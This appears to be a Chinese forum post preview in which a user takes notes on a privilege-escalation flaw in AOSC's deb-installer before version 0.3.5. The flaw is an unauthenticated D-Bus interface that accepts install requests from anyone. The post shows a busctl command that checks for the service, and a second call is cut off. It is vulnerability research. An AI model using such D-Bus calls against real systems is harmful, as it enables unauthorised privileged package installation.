Neko (@Neko205) 在 【笔记】deb-installer 提权漏洞笔记 中发帖
简述:deb-installer 是AOSC上的一个图形化deb软件包安装器,在0.3.5版本之前它存在一个问题,它的D-bus接口没有鉴权,导致在后端启动的情况下任何人都可以向他发起安装请求
AOSC-Dev/deb-installer
D-bus是什么
D-bus是一种为应用程序之间相互通信设计的消息总线,在这个案例中它承担了前端与后端的通行,前端获取软件包的信息发送给后端,后端读取软件包安装
busctl --system call \
org.freedesktop.DBus \
/org/freedesktop/DBus \
org.freedesktop.DBus \
NameHasOwner s \
io.aosc.DebInstaller
busctl --system call \
io.aosc.DebInstaller \...